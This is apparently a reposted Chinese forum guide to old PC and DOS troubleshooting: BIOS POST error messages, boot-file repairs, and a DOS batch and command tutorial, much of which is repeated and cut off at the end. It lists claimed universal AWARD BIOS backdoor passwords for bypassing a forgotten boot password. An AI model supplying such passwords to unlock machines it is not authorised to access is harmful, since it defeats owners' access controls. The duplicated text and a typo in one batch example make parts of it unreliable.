如果您忘記了BIOS設置的開機密碼，那怎麼辦呢？不要緊，事情總有解決的辦法。從 586電腦開始，主機板上都設有BIOS密碼遮閉跳線，只要找到該跳線，再按照說明書的操作方法去做，就可以輕鬆地把密碼給去掉了。但是如果您的電腦是486 那又怎麼辦呢？先別灰心，檢視一下主機板的BIOS是否是 AWARD公司出品的，如果是，您不妨試一試以下的幾個萬能密碼：（ 1）Syxz；（ 2）eBBB；（3）h996；（ 4）wantgirl；（ 5）Award。請注意大小寫。
19個主動報錯的電腦啟故障現象分析。
啟動電腦，如果發現問題，就會主動報錯。主要有以下一些資訊顯示：
（1）Bad CMOS Battery說明：主機內的CMOS電池電力不足。
（2）快取 Controller Error說明：快取 Memory 控制器損壞。
（3）快取 Memory Error說明：快取 Memory執行錯誤。
（4）CMOS Checks UM Error說明：CMOS RAM存儲器出錯，請重新執行CMOS SETUP。
（5）Diskette Drive Controller Error說明：該錯誤信息出現的原因有：一是軟碟驅動器未與電源連接； 二是軟碟驅動器的信號線與I/O卡之間的連接不正確；三是軟碟驅動器損壞；四是多功能卡損壞；五是 CMOS裡軟驅參數設置錯。
（6）Display Card Mismatch說明：主機內裝顯示卡與系統設定值不匹配。
（7）Equipment Config Ration Error 說明：硬體設備參數不合，重新設置CMOS。
（8）Fixed Disk Controller Error說明：該錯誤信息出現的原因可能是：一是硬碟未接電源；二是硬碟信號線與I/O卡之間的連接不正確；三是硬碟已損壞。
（9） Fixed Disk 0 Error說明：硬碟0磁道損壞。
（10）Insert System Diskette, Press ENTER Key To Reboot說明：沒有系統引導盤。
（11） I/O Parity Error說明：輸入輸出程序無法正確執行。
（12）Keyboard Error說明：鍵盤連接錯誤或鍵盤損壞。
（13） Memory Error說明：主機板上DRAM、SIMM或附加的記憶體條損壞。
（14）Memory Size Mismatch說明：系統檢測到的記憶體條容量與實際不符。
（15）Press Fl To Continue or Ctrl+Alt+ESC For SETUP說明：系統設定錯誤。
（16） Protected Mode Test Fail說明：CPU保護模式錯誤。在該情況下，系統仍可在真實模式(Real Mode)DOS環境下執行。
（17）RAM BIOS Not Exist說明：當用戶想啟動SHADOW RAM，但SHADOW RAM不存在。
（18）RAM Parity Error說明：主機板上DRAM或SIMM無法正常執行。
（19）Real Time Clock Error說明：時鐘設定不正確。
16、缺少COMMAND.COM 文件造成的故障排除方法。
出現「Bad or missing command interpreter (解釋命令出錯或丟失)」信息時，怎麼辦？由於操作系統每次開機時，都需要引導兩個隱含的系統檔案(IO.SYS、MSDOS.SYS)及COMMAND.COM文件，從而完成機器的啟動。出現以上問題是由於引導盤裡缺少COMMAND.COM 文件所造成的。解決方法是：拷貝一個COMMAND.COM文件到硬碟上，則故障消失。換一張完好的系統碟引導機器（必須要與您硬碟上的系統版本一致）；使用系統碟的Copy命令，格式為：COPY COMMAND.COM C:\
17．硬碟引導記錄損壞引起的故障排除。
出現「Disk boot failure,Insert systemdisk」(硬碟引導記錄損壞，插入系統碟)信息時，怎麼辦？若出現此類信息，表明系統引導區受損或遭到病毒侵襲，此時比較保險的方法是通過確認無病毒的系統軟碟啟動，使用系統軟碟上的formAT命令(格式為：formAT C:/S/U )，對硬碟的引導記錄進行複寫，但是您要注意，此命令也把 C碟上的信息一掃而空了。
18．缺少兩個隱含文件造成的故障及排除方法。
出現「 Non - systemdisk or disk error. Replace andstrike any key when ready.(非系統碟或磁牒出錯，換一張軟碟，當一切準備好時，按任意一鍵)」信息時，怎麼辦？由於操作系統每次開機時，都要引導兩個隱含文件IO.SYS、
MSDOS.SYS，和COMMAND.COM 文件，從而完成機器的啟動。出現這一問題是由於缺少這兩個隱含文件所造成的。解決方法是：換一張完好的系統碟引導機器；用SYS.COM 命令(格式為：SYS C: )拷貝IO.SYS及MSDOS.SYS兩個隱含文件到硬碟上，則故障消失。
19．開機密碼丟失後的解救辦法。
如果您忘記了BIOS設置的開機密碼，那怎麼辦呢？不要緊，事情總有解決的辦法。從 586電腦開始，主機板上都設有BIOS密碼遮閉跳線，只要找到該跳線，再按照說明書的操作方法去做，就可以輕鬆地把密碼給去掉了。但是如果您的電腦是486 那又怎麼辦呢？先別灰心，檢視一下主機板的BIOS是否是 AWARD公司出品的，如果是，您不妨試一試以下的幾個萬能密碼：（ 1）Syxz；（ 2）eBBB；（3）h996；（ 4）wantgirl；（ 5）Award。請注意大小寫。
[轉貼][分享]基本 DOS 批次處理詳細解說
基本 DOS 批次處理詳細解說
一、echo、@、call、pause、rem 是批次檔最常用的幾個命令，我們就從他們
開始學起
echo 表示顯示此命令後的字元
echo off 表示在此語句後所有運行的命令都不顯示命令列本身
@ 與echo off相象，但它是加在其它命令列的最前面，表示運行時
不顯示命令列本身。
call 調用另一條批次檔（如果直接調用別的批次檔 ，執行完
那條檔後將無法執行當前檔後續命令）
pause 運行此句會暫停，顯示 Press any key to continue... 等待用戶
按任意鍵後繼續
rem 表示此命令後的字元為解釋行，不執行，只是給自己今後查找用的
二、if 、goto 、choice 、for 是批次檔中比較高級的命令，如果這幾個你用
得很熟練，你就是批次檔的專家啦。
if 表示將判斷是否符合規定的條件，從而決定執行不同的命令。 有三種格式:
1、if "參數" == "字串" 待執行的命令
參數如果等於指定的字串，則條件成立，運行命令，否則運行下一句。
(注意是兩個等號）
如：if "%1"=="a" format a:
2、if exist 檔案名 待執行的命令
如果有指定的檔，則條件成立，運行命令，否則運行下一句。
如：if exist config.sys edit config.sys
3、if errorlevel 數位 待執行的命令
如果返回碼等於指定的數字，則條件成立，運行命令，否則運行下一句。
如if errorlevel 2 goto x2 DOS程式運行時都會返回一個數位給DOS，
稱為錯誤碼errorlevel或稱返回碼
goto 批次檔運行到這裡將跳到goto 所指定的標號處，一般與 if 配合使用。
如:
goto end
:end
echo this is the end
: 這是標號字元(所在位是冒號),是用來執行被 goto 跳轉所用的標號字元，
標號所在行是不會被執行,如:
:end 等等...
choice 使用此命令可以讓使用者輸入一個字元，從而運行不同的命令。使用時應該
加/c:參數，c:後應寫提示可輸入的字元，之間無空格。它的返回碼為1234……
如: choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
例如，test.bat的內容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag 應先判斷數值最高的錯誤碼
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此檔運行後，將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ，
然後if語句將作出判斷，d表示執行標號為defrag的程式段，m表示執行
標號為mem的程式段，e表示執行標號為end的程式段，每個程式段最後都
以goto end將程式跳到end標號處，然後程式將顯示good bye，檔結束。
for 迴圈命令，只要條件符合，它將多次執行同一命令。
格式FOR [%%f] in (集合) DO [命令]
只要參數f在指定的集合內，則條件成立，執行命令
如果一條批次檔中有一行:
for %%c in (*.bat *.txt) do type %%c
含義是如果是以bat或txt結尾的檔，則顯示檔的內容。
device和devicehigh
載入一些記憶體駐留程序，用於管理設備。比如記憶體管理程式和
光碟機驅動程式等。
如： device=c:\dos\himem.sys
device=c:\dos\emm386.exe ram
devicehigh=c:\cdrom\cdrom.sys
himem.sys和emm386.exe
DOS只能直接使用640K的記憶體，即基本記憶體，必須依靠其它記憶體管理程式來
使用更多的記憶體，這兩條命令就是最常用的記憶體管理程式。
himem.sys 負責管理擴充記憶體。
emm386.exe 負責管理高端記憶體並在擴充記憶體中類比延伸記憶體供某些軟體使用。
為了使用更多的記憶體，設定檔中應有:
device=c:\dos\himem.sys
device=c:\dos\emm386.exe ram
注意：EMM386.exe 要求先安裝 himem.sys，因而必須確保
安裝 himem.sys 的配置命令在 emm386.exe 之前。
dos=high,umb 這兩個參數也可以分開寫成兩條語句，即：
dos=high
dos=umb
應在config.sys中加入這條命令，這樣會將DOS的系統檔移入高端
記憶體，空出更多的基本記憶體給其它軟體使用。 注意，如果用戶沒有
安裝emm386.exe，umb這個參數是沒有實際意義的
lastdriver lastdriver 規定使用者可以訪問的最大驅動器符數目，也就是DOS所能
識別的最後的驅動器符(字母)。如果設定的驅動器符數目小於本機上
的實際驅動器數，則此lastdriver命令會被忽略掉。缺省的最大驅動
器符數目為本機的實際驅動器數目加一。
:: 二個冒號，它和批次檔中的 rem 含義相同，即注釋
ramdrive.sys 虛擬磁片檔。
只要在 config.sys 中加入 device=ramdrive.sys 就可使用虛擬磁片了
比如:
device=c:\dos\ramdrive.sys 1024 /e
表示在擴充記憶體中建立 1M 的虛擬磁片。如果加/a參數，則表示在擴充
記憶體中建立虛擬磁片。
%CDROM% %CDROM%是光碟機盤符的變數字串,用它可以把所在的任意光碟機盤符替為
真實盤符, 需要與光碟機驅動模組一同執行,如:
LH \MSCDEX.EXE /D:mscd001 /L:%CDROM%
%RAMD% %RAMD%是隨機虛擬磁片, 此盤創建在擴充記憶體中, 建立此盤的模組就是
ramdrive.sys ,見上面的“虛擬磁片檔”說明。
另外這個虛擬內在還有更強大的虛擬記憶體管理器，可以超過64MB的記憶體
管理，就是 XMSDSK.EXE 與 EMSDSK.EXE，
path 指向路徑命令:
path=c:\dos;c:\windows;c:\ 這條命令就是說，當我們執行一個檔時，
電腦先在目前的目錄下查找這個檔，找到則執行，如果沒有找到，則電腦按照
path命令所指定的目錄順序去查找，先在C盤dos目錄下，然後在windows目錄
下，最後在C盤根目錄下尋找這個檔
edit 編輯命令:
edit w.bat回車（就是編輯 w.bat文件的意思）
ren 改名命令:
例如把abc.txt改成bne.dat，就可以輸入renabc.txtbne.dat。
type 查看命令:
我想知道abc.txt檔的內容，就從鍵盤上輸入typeabc.txt 。
diskcopy 磁片複製命令:
diskcopy命令的格式很簡單：diskcopy 源驅動器名 目的驅動器名。舉個例子來
說，如果要在A驅動器上複製磁片，就輸入：diskcopya:a: （奇怪吧，哪來兩
個Ａ盤，且看下文電腦是如何理解的）。
chkdsk 磁片查看命令:
就輸入chkdskC:
cd 改變目前的目錄命令:
用法,就輸入cd abc
sys 製作DOS系統磁片命令:
用法,就輸入sys a:
copy 拷貝檔命令:
用法,就輸入copy c:\abc.txt a:\
del 刪除檔命令:
用法,就輸入 del c:\abc.txt
deltree 刪除目錄樹命令:
用法,就輸入 deltree c:\abc
dir 查看命令:
用法,就輸入 dir 如:
用法1、dir /w
用法2、dir /p
用法3、dir /w/p
format 格式化磁片命令:
用法1,就輸入format a: (完全格式化不帶任何資訊)
用法2,就輸入format a:/q(快速格式化不帶任何資訊)
用法3,就輸入format a:/s(完全格式化並寫入DOS啟動主文件)
用法4,就輸入format a:/q/s(快速格式化並寫入DOS啟動主文件)
md 建立目錄命令:
用法,就輸入md abc
mem 查看記憶體狀況命令:
用法,就輸入mem
rd 刪除目錄命令:
用法,就輸入rd abc
cls 清屏命令:
用法,就輸入cls
適用場合:螢幕上太亂了，或是螢幕上出現亂碼了，清除螢幕上顯示內容但不影響
電腦內部任何資訊.
move 移動文件與改目錄名:
用法,就輸入c:\>move c:\autoexec.bat c:\old (移動autoexec.bat檔至old目錄下)
用法,就輸入c:\>move c:\config.sys c:\temp (移動config.sys檔至temp目錄下)
more 分屏顯示命令:
用法,就輸入C:\>type msdos.w40 | more
適用場合:當輸出很多一屏顯示不下時採用，幾乎適合所有命令，尤其是type等命令
時很有用。使用more時磁片不能有防寫，也不適合光碟機。
xcopy 拷貝目錄和檔命令:
用法,就輸入xcopy *.* [目錄] /s
適用場合:在進行連同子目錄一起拷貝時很有用，在拷貝大量檔時比COPY命令要快得多 .
attrib 設置檔案屬性命令:
用法1,就輸入attrib +r abc.txt
用法2,就輸入attrib +h *.* /s痖隱含所有檔
參數:
attrib +r或-r [檔案名] 設置檔案屬性是否為唯讀
attrib +h或-h [檔案名] 設置檔案屬性是否隱含
attrib +s或-s [檔案名] 設置檔案屬性是否為系統檔
attrib +a或-a [檔案名] 設置檔案屬性是否為歸檔檔
attrib /s 設置包括子目錄的檔在內的檔案屬性
date 顯示及修改日期命令:
用法,就輸入C:\>date 03-20-2005痖將日期改為2005年3月20日
lable 設置標籤號命令:
用法,就輸入label [盤符] [標籤名] 設定指定盤的標籤
例 子 C:\>label痖 Volume in drive C is WANG
Volume SerialNumber is 2116-1DD0
volume label(11 characters,Enter for none)?
可以輸入標籤，直接回車後 Delete current volume label (Y/N)?
按y刪除舊標籤，按n不更改
defrag 磁片磁碟重組命令:
用法,就輸入C:\>defrag
doskey 調用和建立DOS巨集命令命令:
用法,就輸入 doskey /reinstall 重新安裝doskey
doskey/bufsize= 設置緩衝區的大小 doskey /macros 顯示所有doskey巨集 doskey /history 顯示記憶體中所有命令
doskey/insert|overstrike 設置新鍵入的字元是否覆蓋舊的字例 子〕 C:\>DOSKEY痖 C:\>dir
C:\>copyC:\temp\*.* a:
C:\>delc:\temp\*.*
C:\>copyb:\*.* c:\temp
C:\>doskeydi=dir/w/p痖定義di為巨集命令，意思是執行dir/w/p
fdisk 硬碟分區命令:
用法,就輸入fdisk後按回車即可進入提示介面
emm386 擴充記憶體管理命令:
用法 lh [程式]
將程式裝入高端記憶體使用此命令時，config.sys文件中需有下麵兩條語句。
device=emm386.exe dos=umb
lh [程式] /l:區號 將程式裝入指定的umb區
lh /s 一般是由memmaker專用
例子:C:\MOUSE\>lh mouse痖 將滑鼠驅動程式裝入高端記憶體
memmaker 記憶體優化管理命令:
用法,就輸入C:\>memmaker 回車,出現提示一直回車 2. 回車繼續，F3退出
msd 系統檢測命令:
用法,就輸入 C:\>msd 回車後可見到實例
undelete 恢復被刪除的檔命令:
用法,就輸入undelete
undelete /all 恢復檔且不再詢問是否恢復
undelete /list 列可恢復的檔案名
prompt 設置提示符命令:
適用場合:當你厭煩了c:\>的提示符或者您想使您的提示符與眾不同時，您可以
試一試，非常有趣的DOS命令，可以隨時顯示時間與日期。
〔用法〕 prompt $p$g 以目前的目錄名和>號為提示符，這是最常用的提示符 prompt $t 表示時間 prompt $d 表示日期 prompt $$ 表示$ prompt $q 表示=
prompt$v 表示當前版本 prompt $l 表示<
prompt$b 表示| prompt $h 表示退位符 prompt $e 表示Esc代表的字元prompt $_ 表示回車換行
〔例子〕 C:\DOS>prompt wang$g痖將wang>作為提示符 WANG>prompt $t$d$g痖 使用時間、日期和>號做為提示符 0:01:07.77Thu 08-29-1996>prompt $p$g痖 C:\DOS>
restore 恢復已備份的檔命令:
建議:如果以前用backup做過檔案備份，則當原文件損壞時可以用它來恢復
檔,將用backup命令備份的磁片中的檔案修復到另一磁片中，備份磁片中
應有backup.00X和control.00X這兩條文件。
〔用法〕 restore [備份盤符] [目標盤符]
將備份盤上備份檔案恢復到指定盤上 restore /s 將備份檔案包括子目錄都恢復到指定盤上 restore /p 讓用戶判斷是否恢復檔 restore /b:日期 恢復日期以前的檔 restore /a:日期 恢復日期之後的檔 restore /l:時間 恢復時間之前的檔 restore /e:時間 恢復時間之後的檔 restore /m 只恢復上次備份後修改過的檔 restore /n 只恢復上次備份後已刪除的檔 restore /d 只顯示要恢復的檔案名
〔例子〕 C:\DOS>restore a: c:痖 Insert backup diskette 01 in drive A:
Press anykey to continue . . .
在A驅中放入第一張備份盤，按任意鍵即可，恢復完第一張後，按順 序放入其它盤即可。 當您用上述命令不能正確恢復檔時請用： C:\DOS>restore a: c:\ /s
time 顯示及修改時間命令:
用法,就輸入time 即可按提示修改,不修改按回車忽略修改
set 設置環境變數命令:
用法,就輸入set [環境變數]=[字串]
例子: C:\>set path=c:\dos 與path c:\dos含義相同, 這條命令常常用在autoexec.bat中
smartdrv 設置磁片加速器命令:
用法,它可以提高硬碟存取速度，最好在autoexec.bat檔中載入吧。
用法: smartdrv /x
執行並駐留記憶體，開闢磁片加速緩存區，並遮罩所有驅動器緩存，是 較常用的方法（一般用這個命令就夠了） smartdrv /c 將緩存內的資訊都寫入硬碟
smartdrv /e: 數字 設置一次移動的信息量 smartdrv /b: 數位 設置預先讀取的緩衝區大小
append 設置非執行檔的路徑命令:
適用場合: 當您無法在多個目錄中尋找到自己輸入的文稿時，可以試一試這
個命令，用法類似path。
用法: append [路徑];[路徑]
例子: C:\>append c:\test痖 設置尋找非可執行檔路徑為c:\test如果該目錄下有檔1.txt時，在其它目錄下調用1.txt找不到時，可自動尋找到c:\test目錄。 D:\UCDOS>edit 1.txt 可找到C:\test\1.txt文件
debug 程式調試命令:
如果你學過組合語言，那你應該會使用debug，如果沒學過，最好別使用.
用法 debug [檔案名]
diskcomp 比較磁片命令:
適用場合: 比較兩張盤是否相同，沒想到什麼時候會用到，在比較用
diskcopy拷貝的兩張盤，為什麼不用diskcopy/v校驗呢？
〔用法〕diskcomp [盤符1] [盤符2] 比較盤1和盤2
diskcomp /1 只比較磁片的第一面 diskcomp /8 只比較沒磁軌的前8個磁區
〔例子〕C:\>diskcomp a: a:
在同一軟盤機中比較兩張盤 Insert FIRST diskette in drive A:
放入第一張盤 Press any key to continue . . .
Comparing 80 tracks 18 sectors per track, 2side(s) Insert SECOND diskette in drive A:
放入第二張盤 Press any key to continue . . . Compare OK
比較未發現不同 Compare another diskette (Y/N) ?n
是否比較其它盤，選y繼續比較，選n停
expand 解壓工具命令:
微軟公司軟體原始安裝盤中有許多尾碼以"_"結尾的壓縮檔，可以用它解壓，
解除您因為少數幾個檔丟失造成的麻煩。(Windows下用Winrar就可以解壓)
用法,C:\>expand a:vsafe.co_ c:\dos\vsafe.com
fasthelp 快速顯示説明資訊命令:
用法,在DOS下輸入abc.exe /fasthelp 同/?
fc 文件比較命令:
用法,就輸入fc[檔案名1][檔案名2]比較兩檔的不同參數還有: a c l Lbn n t w nnnn
subst 路徑替換命令:
用法 subst 顯示當前的替代路徑 subst [盤符] [路徑] 將指定的路徑替代盤符，該路徑將作為驅動器使用subst /b 解除替代
〔例子〕C:\DOS>subst a: c:\temp痖用c盤temp目錄替代a盤 C:\>subst a: /d痖 解除替代
一、echo、@、call、pause、rem 是批次檔最常用的幾個命令，我們就從他們
開始學起
echo 表示顯示此命令後的字元
echo off 表示在此語句後所有運行的命令都不顯示命令列本身
@ 與echo off相象，但它是加在其它命令列的最前面，表示運行時
不顯示命令列本身。
call 調用另一條批次檔（如果直接調用別的批次檔 ，執行完
那條檔後將無法執行當前檔後續命令）
pause 運行此句會暫停，顯示 Press any key to continue... 等待用戶
按任意鍵後繼續
rem 表示此命令後的字元為解釋行，不執行，只是給自己今後查找用的
二、if 、goto 、choice 、for 是批次檔中比較高級的命令，如果這幾個你用
得很熟練，你就是批次檔的專家啦。
if 表示將判斷是否符合規定的條件，從而決定執行不同的命令。 有三種格式:
1、if "參數" == "字串" 待執行的命令
參數如果等於指定的字串，則條件成立，運行命令，否則運行下一句。
(注意是兩個等號）
如：if "%1"=="a" format a:
2、if exist 檔案名 待執行的命令
如果有指定的檔，則條件成立，運行命令，否則運行下一句。
如：if exist config.sys edit config.sys
3、if errorlevel 數位 待執行的命令
如果返回碼等於指定的數字，則條件成立，運行命令，否則運行下一句。
如if errorlevel 2 goto x2 DOS程式運行時都會返回一個數位給DOS，
稱為錯誤碼errorlevel或稱返回碼
goto 批次檔運行到這裡將跳到goto 所指定的標號處，一般與 if 配合使用。
如:
goto end
:end
echo this is the end
: 這是標號字元(所在位是冒號),是用來執行被 goto 跳轉所用的標號字元，
標號所在行是不會被執行,如:
:end 等等...
choice 使用此命令可以讓使用者輸入一個字元，從而運行不同的命令。使用時應該
加/c:參數，c:後應寫提示可輸入的字元，之間無空格。它的返回碼為1234……
如: choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
例如，test.bat的內容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag 應先判斷數值最高的錯誤碼
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此檔運行後，將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ，
然後if語句將作出判斷，d表示執行標號為defrag的程式段，m表示執行
標號為mem的程式段，e表示執行標號為end的程式段，每個程式段最後都
以goto end將程式跳到end標號處，然後程式將顯示good bye，檔結束。
for 迴圈命令，只要條件符合，它將多次執行同一命令。
格式FOR [%%f] in (集合) DO [命令]
只要參數f在指定的集合內，則條件成立，執行命令
如果一條批次檔中有一行:
for %%c in (*.bat *.txt) do type %%c
含義是如果是以bat或txt結尾的檔，則顯示檔的內容。
device和devicehigh
載入一些記憶體駐留程序，用於管理設備。比如記憶體管理程式和
光碟機驅動程式等。
如： device=c:\dos\himem.sys
device=c:\dos\emm386.exe ram
devicehigh=c:\cdrom\cdrom.sys
himem.sys和emm386.exe
DOS只能直接使用640K的記憶體，即基本記憶體，必須依靠其它記憶體管理程式來
使用更多的記憶體，這兩條命令就是最常用的記憶體管理程式。
himem.sys 負責管理擴充記憶體。
emm386.exe 負責管理高端記憶體並在擴充記憶體中類比延伸記憶體供某些軟體使用。
為了使用更多的記憶體，設定檔中應有:
device=c:\dos\himem.sys
device=c:\dos\emm386.exe ram
注意：EMM386.exe 要求先安裝 himem.sys，因而必須確保
安裝 himem.sys 的配置命令在 emm386.exe 之前。
dos=high,umb 這兩個參數也可以分開寫成兩條語句，即：
dos=high
dos=umb
應在config.sys中加入這條命令，這樣會將DOS的系統檔移入高端
記憶體，空出更多的基本記憶體給其它軟體使用。 注意，如果用戶沒有
安裝emm386.exe，umb這個參數是沒有實際意義的
lastdriver lastdriver 規定使用者可以訪問的最大驅動器符數目，也就是DOS所能
識別的最後的驅動器符(字母)。如果設定的驅動器符數目小於本機上
的實際驅動器數，則此lastdriver命令會被忽略掉。缺省的最大驅動
器符數目為本機的實際驅動器數目加一。
:: 二個冒號，它和批次檔中的 rem 含義相同，即注釋
ramdrive.sys 虛擬磁片檔。
只要在 config.sys 中加入 device=ramdrive.sys 就可使用虛擬磁片了
比如:
device=c:\dos\ramdrive.sys 1024 /e
表示在擴充記憶體中建立 1M 的虛擬磁片。如果加/a參數，則表示在擴充
記憶體中建立虛擬磁片。
%CDROM% %CDROM%是光碟機盤符的變數字串,用它可以把所在的任意光碟機盤符替為
真實盤符, 需要與光碟機驅動模組一同執行,如:
LH \MSCDEX.EXE /D:mscd001 /L:%CDROM%
%RAMD% %RAMD%是隨機虛擬磁片, 此盤創建在擴充記憶體中, 建立此盤的模組就是
ramdrive.sys ,見上面的“虛擬磁片檔”說明。
另外這個虛擬內在還有更強大的虛擬記憶體管理器，可以超過64MB的記憶體
管理，就是 XMSDSK.EXE 與 EMSDSK.EXE，
path 指向路徑命令:
path=c:\dos;c:\windows;c:\ 這條命令就是說，當我們執行一個檔時，
電腦先在目前的目錄下查找這個檔，找到則執行，如果沒有找到，則電腦按照
path命令所指定的目錄順序去查找，先在C盤dos目錄下，然後在windows目錄
下，最後在C盤根目錄下尋找這個檔
edit 編輯命令:
edit w.bat回車（就是編輯 w.bat文件的意思）
ren 改名命令:
例如把abc.txt改成bne.dat，就可以輸入renabc.txtbne.dat。
type 查看命令:
我想知道abc.txt檔的內容，就從鍵盤上輸入typeabc.txt 。
diskcopy 磁片複製命令:
diskcopy命令的格式很簡單：diskcopy 源驅動器名 目的驅動器名。舉個例子來
說，如果要在A驅動器上複製磁片，就輸入：diskcopya:a: （奇怪吧，哪來兩
個Ａ盤，且看下文電腦是如何理解的）。
chkdsk 磁片查看命令:
就輸入chkdskC:
cd 改變目前的目錄命令:
用法,就輸入cd abc
sys 製作DOS系統磁片命令:
用法,就輸入sys a:
copy 拷貝檔命令:
用法,就輸入copy c:\abc.txt a:\
del 刪除檔命令:
用法,就輸入 del c:\abc.txt
deltree 刪除目錄樹命令:
用法,就輸入 deltree c:\abc
dir 查看命令:
用法,就輸入 dir 如:
用法1、dir /w
用法2、dir /p
用法3、dir /w/p
format 格式化磁片命令:
用法1,就輸入format a: (完全格式化不帶任何資訊)
用法2,就輸入format a:/q(快速格式化不帶任何資訊)
用法3,就輸入format a:/s(完全格式化並寫入DOS啟動主文件)
用法4,就輸入format a:/q/s(快速格式化並寫入DOS啟動主文件)
md 建立目錄命令:
用法,就輸入md abc
mem 查看記憶體狀況命令:
用法,就輸入mem
rd 刪除目錄命令:
用法,就輸入rd abc
cls 清屏命令:
用法,就輸入cls
適用場合:螢幕上太亂了，或是螢幕上出現亂碼了，清除螢幕上顯示內容但不影響
電腦內部任何資訊.
move 移動文件與改目錄名:
用法,就輸入c:\>move c:\autoexec.bat c:\old (移動autoexec.bat檔至old目錄下)
用法,就輸入c:\>move c:\config.sys c:\temp (移動config.sys檔至temp目錄下)
more 分屏顯示命令:
用法,就輸入C:\>type msdos.w40 | more
適用場合:當輸出很多一屏顯示不下時採用，幾乎適合所有命令，尤其是type等命令
時很有用。使用more時磁片不能有防寫，也不適合光碟機。
xcopy 拷貝目錄和檔命令:
用法,就輸入xcopy *.* [目錄] /s
適用場合:在進行連同子目錄一起拷貝時很有用，在拷貝大量檔時比COPY命令要快得多 .
attrib 設置檔案屬性命令:
用法1,就輸入attrib +r abc.txt
用法2,就輸入attrib +h *.* /s痖隱含所有檔
參數:
attrib +r或-r [檔案名] 設置檔案屬性是否為唯讀
attrib +h或-h [檔案名] 設置檔案屬性是否隱含
attrib +s或-s [檔案名] 設置檔案屬性是否為系統檔
attrib +a或-a [檔案名] 設置檔案屬性是否為歸檔檔
attrib /s 設置包括子目錄的檔在內的檔案屬性
date 顯示及修改日期命令:
用法,就輸入C:\>date 03-20-2005痖將日期改為2005年3月20日
lable 設置標籤號命令:
用法,就輸入label [盤符] [標籤名] 設定指定盤的標籤
例 子 C:\>label痖 Volume in drive C is WANG
Volume SerialNumber is 2116-1DD0
volume label(11 characters,Enter for none)?
可以輸入標籤，直接回車後 Delete current volume label (Y/N)?
按y刪除舊標籤，按n不更改
defrag 磁片磁碟重組命令:
用法,就輸入C:\>defrag
doskey 調用和建立DOS巨集命令命令:
用法,就輸入 doskey /reinstall 重新安裝doskey
doskey/bufsize= 設置緩衝區的大小 doskey /macros 顯示所有doskey巨集 doskey /history 顯示記憶體中所有命令
doskey/insert|overstrike 設置新鍵入的字元是否覆蓋舊的字例 子〕 C:\>DOSKEY痖 C:\>dir
C:\>copyC:\temp\*.* a:
C:\>delc:\temp\*.*
C:\>copyb:\*.* c:\temp
C:\>doskeydi=dir/w/p痖定義di為巨集命令，意思是執行dir/w/p
fdisk 硬碟分區命令:
用法,就輸入fdisk後按回車即可進入提示介面
emm386 擴充記憶體管理命令:
用法 lh [程式]
將程式裝入高端記憶體使用此命令時，config.sys文件中需有下麵兩條語句。
device=emm386.exe dos=umb
lh [程式] /l:區號 將程式裝入指定的umb區
lh /s 一般是由memmaker專用
例子:C:\MOUSE\>lh mouse痖 將滑鼠驅動程式裝入高端記憶體
memmaker 記憶體優化管理命令:
用法,就輸入C:\>memmaker 回車,出現提示一直回車 2. 回車繼續，F3退出
msd 系統檢測命令:
用法,就輸入 C:\>msd 回車後可見到實例
undelete 恢復被刪除的檔命令:
用法,就輸入undelete
undelete /all 恢復檔且不再詢問是否恢復
undelete /list 列可恢復的檔案名
prompt 設置提示符命令:
適用場合:當你厭煩了c:\>的提示符或者您想使您的提示符與眾不同時，您可以
試一試，非常有趣的DOS命令，可以隨時顯示時間與日期。
〔用法〕 prompt $p$g 以目前的目錄名和>號為提示符，這是最常用的提示符 prompt $t 表示時間 prompt $d 表示日期 prompt $$ 表示$ prompt $q 表示=
prompt$v 表示當前版本 prompt $l 表示<
prompt$b 表示| prompt $h 表示退位符 prompt $e 表示Esc代表的字元prompt $_ 表示回車換行
〔例子〕 C:\DOS>prompt wang$g痖將wang>作為提示符 WANG>prompt $t$d$g痖 使用時間、日期和>號做為提示符 0:01:07.77Thu 08-29-1996>prompt $p$g痖 C:\DOS>
restore 恢復已備份的檔命令:
建議:如果以前用backup做過檔案備份，則當原文件損壞時可以用它來恢復
檔,將用backup命令備份的磁片中的檔案修復到另一磁片中，備份磁片中
應有backup.00X和control.00X這兩條文件。
〔用法〕 restore [備份盤符] [目標盤符]
將備份盤上備份檔案恢復到指定盤上 restore /s 將備份檔案包括子目錄都恢復到指定盤上 restore /p 讓用戶判斷是否恢復檔 restore /b:日期 恢復日期以前的檔 restore /a:日期 恢復日期之後的檔 restore /l:時間 恢復時間之前的檔 restore /e:時間 恢復時間之後的檔 restore /m 只恢復上次備份後修改過的檔 restore /n 只恢復上次備份後已刪除的檔 restore /d 只顯示要恢復的檔案名
〔例子〕 C:\DOS>restore a: c:痖 Insert backup diskette 01 in drive A:
Press anykey to continue . . .
在A驅中放入第一張備份盤，按任意鍵即可，恢復完第一張後，按順 序放入其它盤即可。 當您用上述命令不能正確恢復檔時請用： C:\DOS>restore a: c:\ /s
time 顯示及修改時間命令:
用法,就輸入time 即可按提示修改,不修改按回車忽略修改
set 設置環境變數命令:
用法,就輸入set [環境變數]=[字串]
例子: C:\>set path=c:\dos 與path c:\dos含義相同, 這條命令常常用在autoexec.bat中
smartdrv 設置磁片加速器命令:
用法,它可以提高硬碟存取速度，最好在autoexec.bat檔中載入吧。
用法: smartdrv /x
執行並駐留記憶體，開闢磁片加速緩存區，並遮罩所有驅動器緩存，是 較常用的方法（一般用這個命令就夠了） smartdrv /c 將緩存內的資訊都寫入硬碟
smartdrv /e: 數字 設置一次移動的信息量 smartdrv /b: 數位 設置預先讀取的緩衝區大小
append 設置非執行檔的路徑命令:
適用場合: 當您無法在多個目錄中尋找到自己輸入的文稿時，可以試一試這
個命令，用法類似path。
用法: append [路徑];[路徑]
例子: C:\>append c:\test痖 設置尋找非可執行檔路徑為c:\test如果該目錄下有檔1.txt時，在其它目錄下調用1.txt找不到時，可自動尋找到c:\test目錄。 D:\UCDOS>edit 1.txt 可找到C:\test\1.txt文件
debug 程式調試命令:
如果你學過組合語言，那你應該會使用debug，如果沒學過，最好別使用.
用法 debug [檔案名]
diskcomp 比較磁片命令:
